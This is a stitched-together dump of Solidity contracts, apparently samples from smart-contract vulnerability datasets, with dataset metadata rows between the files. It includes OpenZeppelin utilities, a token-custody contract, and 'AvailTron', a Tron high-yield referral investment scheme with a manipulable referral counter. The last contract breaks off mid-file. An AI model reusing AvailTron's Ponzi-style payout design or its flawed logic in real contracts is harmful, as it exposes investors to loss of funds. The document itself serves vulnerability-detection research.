// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function safePermit(IERC20Permit token,
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) internal {
uint256 nonceBefore = token.nonces(owner);
token.permit(owner, spender, value, deadline, v, r, s);
uint256 nonceAfter = token.nonces(owner);
require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed");
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/math/Math.sol)
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x,
uint256 y,
uint256 denominator,
Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
// `msb(a) <= a < 2*msb(a)`.
// We also know that `k`, the position of the most significant bit, is such that `msb(a) = 2**k`.
// This gives `2**k < a <= 2**(k+1)` `2**(k/2) <= sqrt(a) < 2 ** (k/2+1)`.
// good first approximation of `sqrt(a)` with at least 1 correct bit.
uint256 result = 1;
uint256 x = a;
if (x >> 128 > 0) {
x >>= 128;
result <<= 64;
}
if (x >> 64 > 0) {
x >>= 64;
result <<= 32;
}
if (x >> 32 > 0) {
x >>= 32;
result <<= 16;
}
if (x >> 16 > 0) {
x >>= 16;
result <<= 8;
}
if (x >> 8 > 0) {
x >>= 8;
result <<= 4;
}
if (x >> 4 > 0) {
x >>= 4;
result <<= 2;
}
if (x >> 2 > 0) {
result <<= 1;
}
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
uint256 result = sqrt(a);
if (rounding == Rounding.Up && result * result < a) {
result += 1;
}
return result;
}
}
contract VestingWallet is Context {
event EtherReleased(uint256 amount);
event ERC20Released(address indexed token, uint256 amount);
uint256 private _released;
mapping(address => uint256) private _erc20Released;
address private immutable _beneficiary;
uint64 private immutable _start;
uint64 private immutable _duration;
constructor(address beneficiaryAddress,
uint64 startTimestamp,
uint64 durationSeconds) {
require(beneficiaryAddress != address(0), "VestingWallet: beneficiary is zero address");
_beneficiary = beneficiaryAddress;
_start = startTimestamp;
_duration = durationSeconds;
}
receive() external payable virtual {}
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
function start() public view virtual returns (uint256) {
return _start;
}
function duration() public view virtual returns (uint256) {
return _duration;
}
function released() public view virtual returns (uint256) {
return _released;
}
function released(address token) public view virtual returns (uint256) {
return _erc20Released[token];
}
function release() public virtual {
uint256 releasable = vestedAmount(uint64(block.timestamp)) - released();
_released += releasable;
emit EtherReleased(releasable);
Address.sendValue(payable(beneficiary()), releasable);
}
function release(address token) public virtual {
uint256 releasable = vestedAmount(token, uint64(block.timestamp)) - released(token);
_erc20Released[token] += releasable;
emit ERC20Released(token, releasable);
SafeERC20.safeTransfer(IERC20(token), beneficiary(), releasable);
}
function vestedAmount(uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(address(this).balance + released(), timestamp);
}
function vestedAmount(address token, uint64 timestamp) public view virtual returns (uint256) {
return _vestingSchedule(IERC20(token).balanceOf(address(this)) + released(token), timestamp);
}
function _vestingSchedule(uint256 totalAllocation, uint64 timestamp) internal view virtual returns (uint256) {
if (timestamp < start()) {
return 0;
} else if (timestamp > start() + duration()) {
return totalAllocation;
} else {
return (totalAllocation * (timestamp - start())) / duration();
}
}
}
| 63,508 | 13,249 |
f4fd60234cf88be6dd7106fba70f720a928f78db3867d84e1f9734552b346a11
| 19,980 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/source_code_with_test/0x4fce5178346fc58a0a1261ec2306acc39ed801ab.sol
| 3,011 | 13,409 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library ERC20Lib {
////////////////////////////////////////////////////////////////////////////
//Imports
using SafeMath for uint256;
///////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Declarations
struct Token{
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowed;
uint256 _totalSupply;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Logic
function totalSupply(Token storage self)
internal
view
returns (uint256) {
return self._totalSupply;
}
function balances(Token storage self, address account)
internal
view
returns (uint256) {
return self._balances[account];
}
function allowance(Token storage self, address account, address spender)
internal
view
returns (uint256) {
return self._allowed[account][spender];
}
function approve(Token storage self, address sender, address spender, uint256 value)
internal {
require(spender != address(0));
self._allowed[sender][spender] = value;
emit Approval(sender, spender, value);
}
function transferFrom(Token storage self, address sender, address from, address to, uint256 value)
internal {
require(value <= self._allowed[from][sender]);
self._allowed[from][sender] = self._allowed[from][sender].sub(value);
transfer(self,from, to, value);
}
function increaseAllowance(Token storage self, address sender, address spender, uint256 addedValue)
internal {
require(spender != address(0));
self._allowed[sender][spender] = self._allowed[sender][spender].add(addedValue);
emit Approval(sender, spender, self._allowed[sender][spender]);
}
function decreaseAllowance(Token storage self, address sender, address spender, uint256 subtractedValue)
internal {
require(spender != address(0));
self._allowed[sender][spender] = self._allowed[sender][spender].sub(subtractedValue);
emit Approval(sender, spender, self._allowed[sender][spender]);
}
function transfer(Token storage self, address sender, address to, uint256 value)
internal {
require(value <= self._balances[sender]);
require(to != address(0));
self._balances[sender] = self._balances[sender].sub(value);
self._balances[to] = self._balances[to].add(value);
emit Transfer(sender, to, value);
}
function mint(Token storage self, address account, uint256 value)
internal {
require(account != 0);
self._totalSupply = self._totalSupply.add(value);
self._balances[account] = self._balances[account].add(value);
emit Transfer(address(0), account, value);
}
function burn(Token storage self, address account, uint256 value)
internal {
require(account != 0);
require(value <= self._balances[account]);
self._totalSupply = self._totalSupply.sub(value);
self._balances[account] = self._balances[account].sub(value);
emit Transfer(account, address(0), value);
}
////////////////////////////////////////////////////////////////////////////
}
contract HubCulture{
////////////////////////////////////////////////////////////////////////////
//Imports
using ERC20Lib for ERC20Lib.Token;
using SafeMath for uint256;
///////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//Events
event Pending(address indexed account, uint256 indexed value, uint256 indexed nonce);
event Deposit(address indexed account, uint256 indexed value, uint256 indexed nonce);
event Withdraw(address indexed account, uint256 indexed value, uint256 indexed nonce);
event Decline(address indexed account, uint256 indexed value, uint256 indexed nonce);
event Registration(address indexed account, bytes32 indexed uuid, uint256 indexed nonce);
event Unregistered(address indexed account, uint256 indexed nonce);
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Declarations
mapping(address=>bool) authorities;
mapping(address=>bool) registered;
mapping(address=>bool) vaults;
ERC20Lib.Token token;
ERC20Lib.Token pending;
uint256 eventNonce;
address failsafe;
address owner;
bool paused;
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Constructor
constructor(address _owner,address _failsafe)
public {
failsafe = _failsafe;
owner = _owner;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Modifiers
modifier onlyFailsafe(){
require(msg.sender == failsafe);
_;
}
modifier onlyAdmin(){
require(msg.sender == owner || msg.sender == failsafe);
_;
}
modifier onlyAuthority(){
require(authorities[msg.sender]);
_;
}
modifier onlyVault(){
require(vaults[msg.sender]);
_;
}
modifier notPaused(){
require(!paused);
_;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Failsafe Logic
function isFailsafe(address _failsafe)
public
view
returns (bool){
return (failsafe == _failsafe);
}
function setFailsafe(address _failsafe)
public
onlyFailsafe{
failsafe = _failsafe;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Owner Logic
function isOwner(address _owner)
public
view
returns (bool){
return (owner == _owner);
}
function setOwner(address _owner)
public
onlyAdmin{
owner = _owner;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Vault Logic
function isVault(address vault)
public
view
returns (bool) {
return vaults[vault];
}
function addVault(address vault)
public
onlyAdmin
notPaused
returns (bool) {
vaults[vault] = true;
return true;
}
function removeVault(address vault)
public
onlyAdmin
returns (bool) {
vaults[vault] = false;
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Authority Logic
function isAuthority(address authority)
public
view
returns (bool) {
return authorities[authority];
}
function addAuthority(address authority)
public
onlyAdmin
notPaused
returns (bool) {
authorities[authority] = true;
return true;
}
function removeAuthority(address authority)
public
onlyAdmin
returns (bool) {
authorities[authority] = false;
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Pause Logic
function isPaused()
public
view
returns (bool) {
return paused;
}
function pause()
public
onlyAdmin
notPaused
returns (bool) {
paused = true;
return true;
}
function unpause()
public
onlyFailsafe
returns (bool) {
paused = false;
return true;
}
function lockForever()
public
onlyFailsafe
returns (bool) {
pause();
setOwner(address(this));
setFailsafe(address(this));
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Panic Logic
function isBadDay()
public
view
returns (bool) {
return (isPaused() && (owner == failsafe));
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//ERC20Lib Wrappers
function totalSupply()
public
view
returns (uint256) {
uint256 supply = 0;
supply = supply.add(pending.totalSupply());
supply = supply.add(token.totalSupply());
return supply;
}
function pendingSupply()
public
view
returns (uint256) {
return pending.totalSupply();
}
function availableSupply()
public
view
returns (uint256) {
return token.totalSupply();
}
function balanceOf(address account)
public
view
returns (uint256) {
return token.balances(account);
}
function allowance(address account, address spender)
public
view
returns (uint256) {
return token.allowance(account,spender);
}
function transfer(address to, uint256 value)
public
notPaused
returns (bool) {
token.transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value)
public
notPaused
returns (bool) {
token.approve(msg.sender,spender,value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
notPaused
returns (bool) {
token.transferFrom(msg.sender,from,to,value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
notPaused
returns (bool) {
token.increaseAllowance(msg.sender,spender,addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
notPaused
returns (bool) {
token.decreaseAllowance(msg.sender,spender,subtractedValue);
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Deposit Logic
function deposit(address account, uint256 value)
public
notPaused
onlyAuthority
returns (bool) {
pending.mint(account,value);
eventNonce+=1;
emit Pending(account,value,eventNonce);
return true;
}
function releaseDeposit(address account, uint256 value)
public
notPaused
onlyVault
returns (bool) {
pending.burn(account,value);
token.mint(account,value);
eventNonce+=1;
emit Deposit(account,value,eventNonce);
return true;
}
function revokeDeposit(address account, uint256 value)
public
notPaused
onlyVault
returns (bool) {
pending.burn(account,value);
eventNonce+=1;
emit Decline(account,value,eventNonce);
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Withdraw Logic
function withdraw(uint256 value)
public
notPaused
returns (bool) {
require(registered[msg.sender]);
token.burn(msg.sender,value);
eventNonce+=1;
emit Withdraw(msg.sender,value,eventNonce);
return true;
}
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//Wallet Registration Logic
function isRegistered(address wallet)
public
view
returns (bool) {
return registered[wallet];
}
function register(bytes32 uuid, uint8 v, bytes32 r, bytes32 s)
public
notPaused
returns (bool) {
require(authorities[ecrecover(keccak256(abi.encodePacked(msg.sender,uuid)),v,r,s)]);
registered[msg.sender]=true;
eventNonce+=1;
emit Registration(msg.sender, uuid, eventNonce);
return true;
}
function unregister(address wallet)
public
notPaused
onlyAuthority
returns (bool) {
registered[wallet] = false;
eventNonce+=1;
emit Unregistered(wallet, eventNonce);
return true;
}
////////////////////////////////////////////////////////////////////////////
}
| 135,002 | 13,250 |
f1547c7c32ed619c44a3bc67748740f902d9c2d5efc21a253e0b11b9505765a1
| 18,918 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGpuJqsedJhe8H7zYm1ZLRha9CYN3GZoGD_AvailTron.sol
| 4,799 | 17,712 |
//SourceUnit: availtron.sol
pragma solidity 0.5.10;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OldTronAvail {
using SafeMath for uint256;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public owner;
address payable public marketingAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 referrals;
uint256 match_bonus;
uint256 direct_bonus;
uint256 payouts;
mapping(address => UserReferralLevels) UserReferralCountsValue;
}
struct UserReferralLevels {
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) public users;
mapping(uint256 => address) public userIds;
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserDownlineCount(address _addr) view external returns(uint256, uint256, uint256) {
return (users[_addr].UserReferralCountsValue[_addr].level1, users[_addr].UserReferralCountsValue[_addr].level2, users[_addr].UserReferralCountsValue[_addr].level3);
}
}
contract AvailTron {
using SafeMath for uint256;
uint256 constant public INVEST_MIN_AMOUNT = 100e6;
uint256 public BASE_PERCENT = 10; //1%
uint256[] public REFERRAL_PERCENTS = [50, 20, 10];
uint256 public MARKETING_FEE = 120; //12%
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public CONTRACT_BALANCE_STEP = 3000000e6;
uint256 constant public TIME_STEP = 1 days;
uint8[] public ref_bonuses;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
address public owner;
OldTronAvail public oldTronAvail;
uint256 oldUserId = 1;
address payable public marketingAddress;
struct Deposit {
uint256 amount;
uint256 withdrawn;
uint256 start;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
address referrer;
uint256 bonus;
uint256 referrals;
uint256 match_bonus;
uint256 direct_bonus;
uint256 payouts;
mapping(address => UserReferralLevels) UserReferralCountsValue;
}
struct UserReferralLevels {
uint256 level1;
uint256 level2;
uint256 level3;
}
mapping (address => User) public users;
mapping(uint256 => address) public userIds;
event Newbie(address user);
event NewDeposit(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event FeePayed(address indexed user, uint256 totalAmount);
constructor(address payable marketingAddr, address oldTronAvailAddr) public {
require(!isContract(marketingAddr));
marketingAddress = marketingAddr;
oldTronAvail = OldTronAvail(oldTronAvailAddr);
owner = msg.sender;
ref_bonuses.push(10); //1
ref_bonuses.push(10); //2
ref_bonuses.push(10); //3
ref_bonuses.push(10); //4
ref_bonuses.push(10); //5
ref_bonuses.push(10); //6
ref_bonuses.push(10); //7
ref_bonuses.push(10); //8
ref_bonuses.push(10); //9
ref_bonuses.push(10); //10
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].referrer;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].referrer;
}
}
function invest(address referrer) public payable {
require(msg.value >= INVEST_MIN_AMOUNT, "investment less than min investment");
marketingAddress.transfer(msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
emit FeePayed(msg.sender, msg.value.mul(MARKETING_FEE).div(PERCENTS_DIVIDER));
User storage user = users[msg.sender];
users[referrer].referrals++;
if (user.referrer == address(0) && users[referrer].deposits.length > 0 && referrer != msg.sender) {
user.referrer = referrer;
}
if (user.referrer != address(0)) {
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = msg.value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].bonus = users[upline].bonus.add(amount);
if(i == 0){
users[upline].UserReferralCountsValue[upline].level1 = users[upline].UserReferralCountsValue[upline].level1.add(1);
users[upline].direct_bonus = users[upline].direct_bonus.add(amount);
} else if(i == 1){
users[upline].UserReferralCountsValue[upline].level2 = users[upline].UserReferralCountsValue[upline].level2.add(1);
} else if(i == 2){
users[upline].UserReferralCountsValue[upline].level3 = users[upline].UserReferralCountsValue[upline].level3.add(1);
}
emit RefBonus(upline, msg.sender, i, amount);
upline = users[upline].referrer;
} else break;
}
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
totalUsers = totalUsers.add(1);
userIds[totalUsers] = msg.sender;
emit Newbie(msg.sender);
}
user.deposits.push(Deposit(msg.value, 0, block.timestamp));
totalInvested = totalInvested.add(msg.value);
totalDeposits = totalDeposits.add(1);
emit NewDeposit(msg.sender, msg.value);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data
totalAmount = totalAmount.add(dividends);
}
}
uint256 generationIncome = totalAmount;
uint256 referralBonus = getUserReferralBonus(msg.sender);
if (referralBonus > 0) {
totalAmount = totalAmount.add(referralBonus);
user.bonus = 0;
}
if(user.match_bonus > 0) {
uint256 match_bonus = user.match_bonus;
user.match_bonus = user.match_bonus.sub(match_bonus);
totalAmount = totalAmount.add(match_bonus);
}
require(totalAmount > 0, "User has no dividends");
//pay ref generation
_refPayout(msg.sender, generationIncome);
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.payouts = user.payouts.add(totalAmount);
user.checkpoint = block.timestamp;
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserReferralBonus(userAddress).add(getUserDividends(userAddress));
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getContractBalanceRate() public view returns (uint256) {
uint256 contractBalance = address(this).balance;
uint256 contractBalancePercent = contractBalance.div(CONTRACT_BALANCE_STEP);
return BASE_PERCENT.add(contractBalancePercent);
}
function getUserPercentRate(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 contractBalanceRate = getContractBalanceRate();
if (isActive(userAddress)) {
uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP);
return contractBalanceRate.add(timeMultiplier);
} else {
return contractBalanceRate;
}
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 userPercentRate = getUserPercentRate(userAddress);
uint256 totalDividends;
uint256 dividends;
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(2)) {
if (user.deposits[i].start > user.checkpoint) {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].start))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(2)) {
dividends = (user.deposits[i].amount.mul(2)).sub(user.deposits[i].withdrawn);
}
totalDividends = totalDividends.add(dividends);
/// no update of withdrawn because that is view function
}
}
return totalDividends;
}
